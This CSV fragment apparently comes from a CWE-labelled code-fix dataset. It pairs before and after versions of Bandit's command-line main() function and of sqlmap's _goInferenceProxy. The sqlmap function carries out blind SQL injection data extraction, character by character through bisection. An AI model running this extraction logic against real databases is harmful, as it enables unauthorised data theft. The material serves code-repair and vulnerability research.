        ""-b"",
        ""--baseline"",
        dest=""baseline"",
        action=""store"",
        default=None,
        help=""path of a baseline report to compare against ""
        ""(only JSON-formatted files are accepted)"",
    )
    parser.add_argument(
        ""--ini"",
        dest=""ini_path"",
        action=""store"",
        default=None,
        help=""path to a .bandit file that supplies command line arguments"",
    )
    parser.add_argument(
        ""--exit-zero"",
        action=""store_true"",
        dest=""exit_zero"",
        default=False,
        help=""exit with 0, "" ""even with results found"",
    )
    python_ver = sys.version.replace(""\n"", """")
    parser.add_argument(
        ""--version"",
        action=""version"",
        version=""%(prog)s {version}\n  python version = {python}"".format(
            version=bandit.__version__, python=python_ver
        ),
    )

    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(quiet=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [
        f""{a[0]}\t{a[1].name}"" for a in extension_mgr.plugins_by_id.items()
    ]
    blacklist_info = []
    for a in extension_mgr.blacklist.items():
        for b in a[1]:
            blacklist_info.append(""{}\t{}"".format(b[""id""], b[""name""]))

    plugin_list = ""\n\t"".join(sorted(set(plugin_info + blacklist_info)))
    dedent_text = textwrap.dedent(
        """"""
    CUSTOM FORMATTING
    -----------------

    Available tags:

        {abspath}, {relpath}, {line}, {col}, {test_id},
        {severity}, {msg}, {confidence}, {range}

    Example usage:

        Default template:
        bandit -r examples/ --format custom --msg-template \\
        ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

        Provides same output as:
        bandit -r examples/ --format custom

        Tags can also be formatted in python string.format() style:
        bandit -r examples/ --format custom --msg-template \\
        ""{relpath:20.20s}: {line:03}: {test_id:^8}: DEFECT: {msg:>20}""

        See python documentation for more information about formatting style:
        https://docs.python.org/3/library/string.html

    The following tests were discovered and loaded:
    -----------------------------------------------
    """"""
    )
    parser.epilog = dedent_text + f""\t{plugin_list}""

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    # Check if `--msg-template` is not present without custom formatter
    if args.output_format != ""custom"" and args.msg_template is not None:
        parser.error(""--msg-template can only be used with --format=custom"")

    # Check if confidence or severity level have been specified with strings
    if args.severity_string is not None:
        if args.severity_string == ""all"":
            args.severity = 1
        elif args.severity_string == ""low"":
            args.severity = 2
        elif args.severity_string == ""medium"":
            args.severity = 3
        elif args.severity_string == ""high"":
            args.severity = 4
        # Other strings will be blocked by argparse

    if args.confidence_string is not None:
        if args.confidence_string == ""all"":
            args.confidence = 1
        elif args.confidence_string == ""low"":
            args.confidence = 2
        elif args.confidence_string == ""medium"":
            args.confidence = 3
        elif args.confidence_string == ""high"":
            args.confidence = 4
        # Other strings will be blocked by argparse

    try:
        b_conf = b_config.BanditConfig(config_file=args.config_file)
    except utils.ConfigError as e:
        LOG.error(e)
        sys.exit(2)

    # Handle .bandit files in projects to pass cmdline args from file
    ini_options = _get_options_from_ini(args.ini_path, args.targets)
    if ini_options:
        # prefer command line, then ini file
        args.excluded_paths = _log_option_source(
            parser.get_default(""excluded_paths""),
            args.excluded_paths,
            ini_options.get(""exclude""),
            ""excluded paths"",
        )

        args.skips = _log_option_source(
            parser.get_default(""skips""),
            args.skips,
            ini_options.get(""skips""),
            ""skipped tests"",
        )

        args.tests = _log_option_source(
            parser.get_default(""tests""),
            args.tests,
            ini_options.get(""tests""),
            ""selected tests"",
        )

        ini_targets = ini_options.get(""targets"")
        if ini_targets:
            ini_targets = ini_targets.split("","")

        args.targets = _log_option_source(
            parser.get_default(""targets""),
            args.targets,
            ini_targets,
            ""selected targets"",
        )

        # TODO(tmcpeak): any other useful options to pass from .bandit?

        args.recursive = _log_option_source(
            parser.get_default(""recursive""),
            args.recursive,
            ini_options.get(""recursive""),
            ""recursive scan"",
        )

        args.agg_type = _log_option_source(
            parser.get_default(""agg_type""),
            args.agg_type,
            ini_options.get(""aggregate""),
            ""aggregate output type"",
        )

        args.context_lines = _log_option_source(
            parser.get_default(""context_lines""),
            args.context_lines,
            int(ini_options.get(""number"") or 0) or None,
            ""max code lines output for issue"",
        )

        args.profile = _log_option_source(
            parser.get_default(""profile""),
            args.profile,
            ini_options.get(""profile""),
            ""profile"",
        )

        args.severity = _log_option_source(
            parser.get_default(""severity""),
            args.severity,
            ini_options.get(""level""),
            ""severity level"",
        )

        args.confidence = _log_option_source(
            parser.get_default(""confidence""),
            args.confidence,
            ini_options.get(""confidence""),
            ""confidence level"",
        )

        args.output_format = _log_option_source(
            parser.get_default(""output_format""),
            args.output_format,
            ini_options.get(""format""),
            ""output format"",
        )

        args.msg_template = _log_option_source(
            parser.get_default(""msg_template""),
            args.msg_template,
            ini_options.get(""msg-template""),
            ""output message template"",
        )

        args.output_file = _log_option_source(
            parser.get_default(""output_file""),
            args.output_file,
            ini_options.get(""output""),
            ""output file"",
        )

        args.verbose = _log_option_source(
            parser.get_default(""verbose""),
            args.verbose,
            ini_options.get(""verbose""),
            ""output extra information"",
        )

        args.debug = _log_option_source(
            parser.get_default(""debug""),
            args.debug,
            ini_options.get(""debug""),
            ""debug mode"",
        )

        args.quiet = _log_option_source(
            parser.get_default(""quiet""),
            args.quiet,
            ini_options.get(""quiet""),
            ""silent mode"",
        )

        args.ignore_nosec = _log_option_source(
            parser.get_default(""ignore_nosec""),
            args.ignore_nosec,
            ini_options.get(""ignore-nosec""),
            ""do not skip lines with # nosec"",
        )

        args.baseline = _log_option_source(
            parser.get_default(""baseline""),
            args.baseline,
            ini_options.get(""baseline""),
            ""path of a baseline report"",
        )

    if not args.targets:
        parser.print_usage()
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option(""log_format""):
        log_format = b_conf.get_option(""log_format"")
        _init_logger(log_level=logging.DEBUG, log_format=log_format)

    if args.quiet:
        _init_logger(log_level=logging.WARN)

    try:
        profile = _get_profile(b_conf, args.profile, args.config_file)
        _log_info(args, profile)

        profile[""include""].update(args.tests.split("","") if args.tests else [])
        profile[""exclude""].update(args.skips.split("","") if args.skips else [])
        extension_mgr.validate_profile(profile)

    except (utils.ProfileNotFound, ValueError) as e:
        LOG.error(e)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(
        b_conf,
        args.agg_type,
        args.debug,
        profile=profile,
        verbose=args.verbose,
        quiet=args.quiet,
        ignore_nosec=args.ignore_nosec,
    )

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except OSError:
            LOG.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            LOG.warning(
                ""Baseline must be used with one of the following ""
                ""formats: "" + str(baseline_formatters)
            )
            sys.exit(2)

    if args.output_format != ""json"":
        if args.config_file:
            LOG.info(""using config: %s"", args.config_file)

        LOG.info(
            ""running on Python %d.%d.%d"",
            sys.version_info.major,
            sys.version_info.minor,
            sys.version_info.micro,
        )

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    if not b_mgr.b_ts.tests:
        LOG.error(""No tests would be run, please check the profile."")
        sys.exit(2)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    LOG.debug(b_mgr.b_ma)
    LOG.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(
        args.context_lines,
        sev_level,
        conf_level,
        args.output_file,
        args.output_format,
        args.msg_template,
    )

    if (
        b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0
        and not args.exit_zero
    ):
        sys.exit(1)
    else:
        sys.exit(0)",UNKNOWN,PyCQA/bandit,39cdfab46a9152a383903ee99ae199522a5e5674,"def main():
    """"""Bandit CLI.""""""
    # bring our logging stuff up as early as possible
    debug = (
        logging.DEBUG
        if ""-d"" in sys.argv or ""--debug"" in sys.argv
        else logging.INFO
    )
    _init_logger(debug)
    extension_mgr = _init_extensions()

    baseline_formatters = [
        f.name
        for f in filter(
            lambda x: hasattr(x.plugin, ""_accepts_baseline""),
            extension_mgr.formatters,
        )
    ]

    # now do normal startup
    parser = argparse.ArgumentParser(
        description=""Bandit - a Python source code security analyzer"",
        formatter_class=argparse.RawDescriptionHelpFormatter,
    )
    parser.add_argument(
        ""targets"",
        metavar=""targets"",
        type=str,
        nargs=""*"",
        help=""source file(s) or directory(s) to be tested"",
    )
    parser.add_argument(
        ""-r"",
        ""--recursive"",
        dest=""recursive"",
        action=""store_true"",
        help=""find and process files in subdirectories"",
    )
    parser.add_argument(
        ""-a"",
        ""--aggregate"",
        dest=""agg_type"",
        action=""store"",
        default=""file"",
        type=str,
        choices=[""file"", ""vuln""],
        help=""aggregate output by vulnerability (default) or by filename"",
    )
    parser.add_argument(
        ""-n"",
        ""--number"",
        dest=""context_lines"",
        action=""store"",
        default=3,
        type=int,
        help=""maximum number of code lines to output for each issue"",
    )
    parser.add_argument(
        ""-c"",
        ""--configfile"",
        dest=""config_file"",
        action=""store"",
        default=None,
        type=str,
        help=""optional config file to use for selecting plugins and ""
        ""overriding defaults"",
    )
    parser.add_argument(
        ""-p"",
        ""--profile"",
        dest=""profile"",
        action=""store"",
        default=None,
        type=str,
        help=""profile to use (defaults to executing all tests)"",
    )
    parser.add_argument(
        ""-t"",
        ""--tests"",
        dest=""tests"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to run"",
    )
    parser.add_argument(
        ""-s"",
        ""--skip"",
        dest=""skips"",
        action=""store"",
        default=None,
        type=str,
        help=""comma-separated list of test IDs to skip"",
    )
    severity_group = parser.add_mutually_exclusive_group(required=False)
    severity_group.add_argument(
        ""-l"",
        ""--level"",
        dest=""severity"",
        action=""count"",
        default=1,
        help=""report only issues of a given severity level or ""
        ""higher (-l for LOW, -ll for MEDIUM, -lll for HIGH)"",
    )
    severity_group.add_argument(
        ""--severity-level"",
        dest=""severity_string"",
        action=""store"",
        help=""report only issues of a given severity level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    confidence_group = parser.add_mutually_exclusive_group(required=False)
    confidence_group.add_argument(
        ""-i"",
        ""--confidence"",
        dest=""confidence"",
        action=""count"",
        default=1,
        help=""report only issues of a given confidence level or ""
        ""higher (-i for LOW, -ii for MEDIUM, -iii for HIGH)"",
    )
    confidence_group.add_argument(
        ""--confidence-level"",
        dest=""confidence_string"",
        action=""store"",
        help=""report only issues of a given confidence level or higher.""
        ' ""all"" and ""low"" are likely to produce the same results, but it'
        "" is possible for rules to be undefined which will""
        ' not be listed in ""low"".',
        choices=[""all"", ""low"", ""medium"", ""high""],
    )
    output_format = (
        ""screen""
        if (
            sys.stdout.isatty()
            and os.getenv(""NO_COLOR"") is None
            and os.getenv(""TERM"") != ""dumb""
        )
        else ""txt""
    )
    parser.add_argument(
        ""-f"",
        ""--format"",
        dest=""output_format"",
        action=""store"",
        default=output_format,
        help=""specify output format"",
        choices=sorted(extension_mgr.formatter_names),
    )
    parser.add_argument(
        ""--msg-template"",
        action=""store"",
        default=None,
        help=""specify output message template""
        "" (only usable with --format custom),""
        "" see CUSTOM FORMAT section""
        "" for list of available values"",
    )
    parser.add_argument(
        ""-o"",
        ""--output"",
        dest=""output_file"",
        action=""store"",
        nargs=""?"",
        type=argparse.FileType(""w"", encoding=""utf-8""),
        default=sys.stdout,
        help=""write report to filename"",
    )
    group = parser.add_mutually_exclusive_group(required=False)
    group.add_argument(
        ""-v"",
        ""--verbose"",
        dest=""verbose"",
        action=""store_true"",
        help=""output extra information like excluded and included files"",
    )
    parser.add_argument(
        ""-d"",
        ""--debug"",
        dest=""debug"",
        action=""store_true"",
        help=""turn on debug mode"",
    )
    group.add_argument(
        ""-q"",
        ""--quiet"",
        ""--silent"",
        dest=""quiet"",
        action=""store_true"",
        help=""only show output in the case of an error"",
    )
    parser.add_argument(
        ""--ignore-nosec"",
        dest=""ignore_nosec"",
        action=""store_true"",
        help=""do not skip lines with # nosec comments"",
    )
    parser.add_argument(
        ""-x"",
        ""--exclude"",
        dest=""excluded_paths"",
        action=""store"",
        default="","".join(constants.EXCLUDE),
        help=""comma-separated list of paths (glob patterns ""
        ""supported) to exclude from scan ""
        ""(note that these are in addition to the excluded ""
        ""paths provided in the config file) (default: ""
        + "","".join(constants.EXCLUDE)
        + "")"",
    )
    parser.add_argument(
        ""-b"",
        ""--baseline"",
        dest=""baseline"",
        action=""store"",
        default=None,
        help=""path of a baseline report to compare against ""
        ""(only JSON-formatted files are accepted)"",
    )
    parser.add_argument(
        ""--ini"",
        dest=""ini_path"",
        action=""store"",
        default=None,
        help=""path to a .bandit file that supplies command line arguments"",
    )
    parser.add_argument(
        ""--exit-zero"",
        action=""store_true"",
        dest=""exit_zero"",
        default=False,
        help=""exit with 0, "" ""even with results found"",
    )
    python_ver = sys.version.replace(""\n"", """")
    parser.add_argument(
        ""--version"",
        action=""version"",
        version=""%(prog)s {version}\n  python version = {python}"".format(
            version=bandit.__version__, python=python_ver
        ),
    )

    parser.set_defaults(debug=False)
    parser.set_defaults(verbose=False)
    parser.set_defaults(quiet=False)
    parser.set_defaults(ignore_nosec=False)

    plugin_info = [
        f""{a[0]}\t{a[1].name}"" for a in extension_mgr.plugins_by_id.items()
    ]
    blacklist_info = []
    for a in extension_mgr.blacklist.items():
        for b in a[1]:
            blacklist_info.append(""{}\t{}"".format(b[""id""], b[""name""]))

    plugin_list = ""\n\t"".join(sorted(set(plugin_info + blacklist_info)))
    dedent_text = textwrap.dedent(
        """"""
    CUSTOM FORMATTING
    -----------------

    Available tags:

        {abspath}, {relpath}, {line}, {col}, {test_id},
        {severity}, {msg}, {confidence}, {range}

    Example usage:

        Default template:
        bandit -r examples/ --format custom --msg-template \\
        ""{abspath}:{line}: {test_id}[bandit]: {severity}: {msg}""

        Provides same output as:
        bandit -r examples/ --format custom

        Tags can also be formatted in python string.format() style:
        bandit -r examples/ --format custom --msg-template \\
        ""{relpath:20.20s}: {line:03}: {test_id:^8}: DEFECT: {msg:>20}""

        See python documentation for more information about formatting style:
        https://docs.python.org/3/library/string.html

    The following tests were discovered and loaded:
    -----------------------------------------------
    """"""
    )
    parser.epilog = dedent_text + f""\t{plugin_list}""

    # setup work - parse arguments, and initialize BanditManager
    args = parser.parse_args()
    # Check if `--msg-template` is not present without custom formatter
    if args.output_format != ""custom"" and args.msg_template is not None:
        parser.error(""--msg-template can only be used with --format=custom"")

    # Check if confidence or severity level have been specified with strings
    if args.severity_string is not None:
        if args.severity_string == ""all"":
            args.severity = 1
        elif args.severity_string == ""low"":
            args.severity = 2
        elif args.severity_string == ""medium"":
            args.severity = 3
        elif args.severity_string == ""high"":
            args.severity = 4
        # Other strings will be blocked by argparse

    if args.confidence_string is not None:
        if args.confidence_string == ""all"":
            args.confidence = 1
        elif args.confidence_string == ""low"":
            args.confidence = 2
        elif args.confidence_string == ""medium"":
            args.confidence = 3
        elif args.confidence_string == ""high"":
            args.confidence = 4
        # Other strings will be blocked by argparse

    try:
        b_conf = b_config.BanditConfig(config_file=args.config_file)
    except utils.ConfigError as e:
        LOG.error(e)
        sys.exit(2)

    # Handle .bandit files in projects to pass cmdline args from file
    ini_options = _get_options_from_ini(args.ini_path, args.targets)
    if ini_options:
        # prefer command line, then ini file
        args.excluded_paths = _log_option_source(
            parser.get_default(""excluded_paths""),
            args.excluded_paths,
            ini_options.get(""exclude""),
            ""excluded paths"",
        )

        args.skips = _log_option_source(
            parser.get_default(""skips""),
            args.skips,
            ini_options.get(""skips""),
            ""skipped tests"",
        )

        args.tests = _log_option_source(
            parser.get_default(""tests""),
            args.tests,
            ini_options.get(""tests""),
            ""selected tests"",
        )

        ini_targets = ini_options.get(""targets"")
        if ini_targets:
            ini_targets = ini_targets.split("","")

        args.targets = _log_option_source(
            parser.get_default(""targets""),
            args.targets,
            ini_targets,
            ""selected targets"",
        )

        # TODO(tmcpeak): any other useful options to pass from .bandit?

        args.recursive = _log_option_source(
            parser.get_default(""recursive""),
            args.recursive,
            ini_options.get(""recursive""),
            ""recursive scan"",
        )

        args.agg_type = _log_option_source(
            parser.get_default(""agg_type""),
            args.agg_type,
            ini_options.get(""aggregate""),
            ""aggregate output type"",
        )

        args.context_lines = _log_option_source(
            parser.get_default(""context_lines""),
            args.context_lines,
            ini_options.get(""number""),
            ""max code lines output for issue"",
        )

        args.profile = _log_option_source(
            parser.get_default(""profile""),
            args.profile,
            ini_options.get(""profile""),
            ""profile"",
        )

        args.severity = _log_option_source(
            parser.get_default(""severity""),
            args.severity,
            ini_options.get(""level""),
            ""severity level"",
        )

        args.confidence = _log_option_source(
            parser.get_default(""confidence""),
            args.confidence,
            ini_options.get(""confidence""),
            ""confidence level"",
        )

        args.output_format = _log_option_source(
            parser.get_default(""output_format""),
            args.output_format,
            ini_options.get(""format""),
            ""output format"",
        )

        args.msg_template = _log_option_source(
            parser.get_default(""msg_template""),
            args.msg_template,
            ini_options.get(""msg-template""),
            ""output message template"",
        )

        args.output_file = _log_option_source(
            parser.get_default(""output_file""),
            args.output_file,
            ini_options.get(""output""),
            ""output file"",
        )

        args.verbose = _log_option_source(
            parser.get_default(""verbose""),
            args.verbose,
            ini_options.get(""verbose""),
            ""output extra information"",
        )

        args.debug = _log_option_source(
            parser.get_default(""debug""),
            args.debug,
            ini_options.get(""debug""),
            ""debug mode"",
        )

        args.quiet = _log_option_source(
            parser.get_default(""quiet""),
            args.quiet,
            ini_options.get(""quiet""),
            ""silent mode"",
        )

        args.ignore_nosec = _log_option_source(
            parser.get_default(""ignore_nosec""),
            args.ignore_nosec,
            ini_options.get(""ignore-nosec""),
            ""do not skip lines with # nosec"",
        )

        args.baseline = _log_option_source(
            parser.get_default(""baseline""),
            args.baseline,
            ini_options.get(""baseline""),
            ""path of a baseline report"",
        )

    if not args.targets:
        parser.print_usage()
        sys.exit(2)

    # if the log format string was set in the options, reinitialize
    if b_conf.get_option(""log_format""):
        log_format = b_conf.get_option(""log_format"")
        _init_logger(log_level=logging.DEBUG, log_format=log_format)

    if args.quiet:
        _init_logger(log_level=logging.WARN)

    try:
        profile = _get_profile(b_conf, args.profile, args.config_file)
        _log_info(args, profile)

        profile[""include""].update(args.tests.split("","") if args.tests else [])
        profile[""exclude""].update(args.skips.split("","") if args.skips else [])
        extension_mgr.validate_profile(profile)

    except (utils.ProfileNotFound, ValueError) as e:
        LOG.error(e)
        sys.exit(2)

    b_mgr = b_manager.BanditManager(
        b_conf,
        args.agg_type,
        args.debug,
        profile=profile,
        verbose=args.verbose,
        quiet=args.quiet,
        ignore_nosec=args.ignore_nosec,
    )

    if args.baseline is not None:
        try:
            with open(args.baseline) as bl:
                data = bl.read()
                b_mgr.populate_baseline(data)
        except OSError:
            LOG.warning(""Could not open baseline report: %s"", args.baseline)
            sys.exit(2)

        if args.output_format not in baseline_formatters:
            LOG.warning(
                ""Baseline must be used with one of the following ""
                ""formats: "" + str(baseline_formatters)
            )
            sys.exit(2)

    if args.output_format != ""json"":
        if args.config_file:
            LOG.info(""using config: %s"", args.config_file)

        LOG.info(
            ""running on Python %d.%d.%d"",
            sys.version_info.major,
            sys.version_info.minor,
            sys.version_info.micro,
        )

    # initiate file discovery step within Bandit Manager
    b_mgr.discover_files(args.targets, args.recursive, args.excluded_paths)

    if not b_mgr.b_ts.tests:
        LOG.error(""No tests would be run, please check the profile."")
        sys.exit(2)

    # initiate execution of tests within Bandit Manager
    b_mgr.run_tests()
    LOG.debug(b_mgr.b_ma)
    LOG.debug(b_mgr.metrics)

    # trigger output of results by Bandit Manager
    sev_level = constants.RANKING[args.severity - 1]
    conf_level = constants.RANKING[args.confidence - 1]
    b_mgr.output_results(
        args.context_lines,
        sev_level,
        conf_level,
        args.output_file,
        args.output_format,
        args.msg_template,
    )

    if (
        b_mgr.results_count(sev_filter=sev_level, conf_filter=conf_level) > 0
        and not args.exit_zero
    ):
        sys.exit(1)
    else:
        sys.exit(0)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/request/inject.py,0,"def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """"""

    initTechnique(getTechnique())

    query = agent.prefixQuery(getTechniqueData().vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search(r""RDB\$GET_CONTEXT\([^)]+\)"", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = ""the SQL query provided has more than one field. ""
        infoMsg += ""sqlmap will now unpack it into distinct queries ""
        infoMsg += ""to be able to retrieve the output even if we ""
        infoMsg += ""are going blind""
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and "" FROM "" in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if "" ORDER BY "" in countedExpression.upper():
                    _ = countedExpression.upper().rindex("" ORDER BY "")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = ""the SQL query provided can return ""
                            message += ""%d entries. How many "" % count
                            message += ""entries do you want to retrieve?\n""
                            message += ""[a] All (default)\n[#] Specific number\n""
                            message += ""[q] Quit""
                            choice = readInput(message, default='A').upper()

                            if choice == 'A':
                                stopLimit = count

                            elif choice == 'Q':
                                raise SqlmapUserQuitException

                            elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
                                stopLimit = int(choice)

                                infoMsg = ""sqlmap is now going to retrieve the ""
                                infoMsg += ""first %d query output entries"" % stopLimit
                                logger.info(infoMsg)

                            elif choice in ('#', 'S'):
                                message = ""how many? ""
                                stopLimit = readInput(message, default=""10"")

                                if not isDigit(stopLimit):
                                    errMsg = ""invalid choice""
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = ""invalid choice""
                                logger.error(errMsg)

                                return None

                    elif count and not isDigit(count):
                        warnMsg = ""it was not possible to count the number ""
                        warnMsg += ""of entries for the SQL query provided. ""
                        warnMsg += ""sqlmap will assume that it returns only ""
                        warnMsg += ""one entry""
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = ""the SQL query provided does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    try:
                        for num in xrange(startLimit or 0, stopLimit or 0):
                            output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                            outputs.append(output)
                    except OverflowError:
                        errMsg = ""boundary limits (%d,%d) are too large. Please rerun "" % (startLimit, stopLimit)
                        errMsg += ""with switch '--fresh-queries'""
                        raise SqlmapDataException(errMsg)

                except KeyboardInterrupt:
                    print()
                    warnMsg = ""user aborted during dumping phase""
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith(""SELECT "") and "" FROM "" not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

    return "", "".join(output or """" for output in outputs) if not isNoneValue(outputs) else None",,sqlmapproject/sqlmap,e621d7ec6ac9b3d60d674c2f86b67fb4e63427d3,"def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, charsetType=None, firstChar=None, lastChar=None, dump=False):
    """"""
    Retrieve the output of a SQL query characted by character taking
    advantage of an blind SQL injection vulnerability on the affected
    parameter through a bisection algorithm.
    """"""

    initTechnique(getTechnique())

    query = agent.prefixQuery(getTechniqueData().vector)
    query = agent.suffixQuery(query)
    payload = agent.payload(newValue=query)
    count = None
    startLimit = 0
    stopLimit = None
    outputs = BigArray()

    if not unpack:
        return _goInference(payload, expression, charsetType, firstChar, lastChar, dump)

    _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(expression)

    rdbRegExp = re.search(r""RDB\$GET_CONTEXT\([^)]+\)"", expression, re.I)
    if rdbRegExp and Backend.isDbms(DBMS.FIREBIRD):
        expressionFieldsList = [expressionFields]

    if len(expressionFieldsList) > 1:
        infoMsg = ""the SQL query provided has more than one field. ""
        infoMsg += ""sqlmap will now unpack it into distinct queries ""
        infoMsg += ""to be able to retrieve the output even if we ""
        infoMsg += ""are going blind""
        logger.info(infoMsg)

    # If we have been here from SQL query/shell we have to check if
    # the SQL query might return multiple entries and in such case
    # forge the SQL limiting the query output one entry at a time
    # NOTE: we assume that only queries that get data from a table
    # can return multiple entries
    if fromUser and "" FROM "" in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
        expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression)

        if limitCond:
            test = True

            if not stopLimit or stopLimit <= 1:
                if Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]):
                    test = False

            if test:
                # Count the number of SQL query entries output
                countFirstField = queries[Backend.getIdentifiedDbms()].count.query % expressionFieldsList[0]
                countedExpression = expression.replace(expressionFields, countFirstField, 1)

                if "" ORDER BY "" in countedExpression.upper():
                    _ = countedExpression.upper().rindex("" ORDER BY "")
                    countedExpression = countedExpression[:_]

                if not stopLimit:
                    count = _goInference(payload, countedExpression, charsetType=CHARSET_TYPE.DIGITS, firstChar=firstChar, lastChar=lastChar)

                    if isNumPosStrValue(count):
                        count = int(count)

                        if batch or count == 1:
                            stopLimit = count
                        else:
                            message = ""the SQL query provided can return ""
                            message += ""%d entries. How many "" % count
                            message += ""entries do you want to retrieve?\n""
                            message += ""[a] All (default)\n[#] Specific number\n""
                            message += ""[q] Quit""
                            choice = readInput(message, default='A').upper()

                            if choice == 'A':
                                stopLimit = count

                            elif choice == 'Q':
                                raise SqlmapUserQuitException

                            elif isDigit(choice) and int(choice) > 0 and int(choice) <= count:
                                stopLimit = int(choice)

                                infoMsg = ""sqlmap is now going to retrieve the ""
                                infoMsg += ""first %d query output entries"" % stopLimit
                                logger.info(infoMsg)

                            elif choice in ('#', 'S'):
                                message = ""how many? ""
                                stopLimit = readInput(message, default=""10"")

                                if not isDigit(stopLimit):
                                    errMsg = ""invalid choice""
                                    logger.error(errMsg)

                                    return None

                                else:
                                    stopLimit = int(stopLimit)

                            else:
                                errMsg = ""invalid choice""
                                logger.error(errMsg)

                                return None

                    elif count and not isDigit(count):
                        warnMsg = ""it was not possible to count the number ""
                        warnMsg += ""of entries for the SQL query provided. ""
                        warnMsg += ""sqlmap will assume that it returns only ""
                        warnMsg += ""one entry""
                        logger.warn(warnMsg)

                        stopLimit = 1

                    elif (not count or int(count) == 0):
                        if not count:
                            warnMsg = ""the SQL query provided does not ""
                            warnMsg += ""return any output""
                            logger.warn(warnMsg)

                        return None

                elif (not stopLimit or stopLimit == 0):
                    return None

                try:
                    try:
                        for num in xrange(startLimit, stopLimit):
                            output = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, num=num, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)
                            outputs.append(output)
                    except OverflowError:
                        errMsg = ""boundary limits (%d,%d) are too large. Please rerun "" % (startLimit, stopLimit)
                        errMsg += ""with switch '--fresh-queries'""
                        raise SqlmapDataException(errMsg)

                except KeyboardInterrupt:
                    print()
                    warnMsg = ""user aborted during dumping phase""
                    logger.warn(warnMsg)

                return outputs

    elif Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and expression.upper().startswith(""SELECT "") and "" FROM "" not in expression.upper():
        expression += FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]

    outputs = _goInferenceFields(expression, expressionFields, expressionFieldsList, payload, charsetType=charsetType, firstChar=firstChar, lastChar=lastChar, dump=dump)

    return "", "".join(output or """" for output in outputs) if not isNoneValue(outputs) else None"
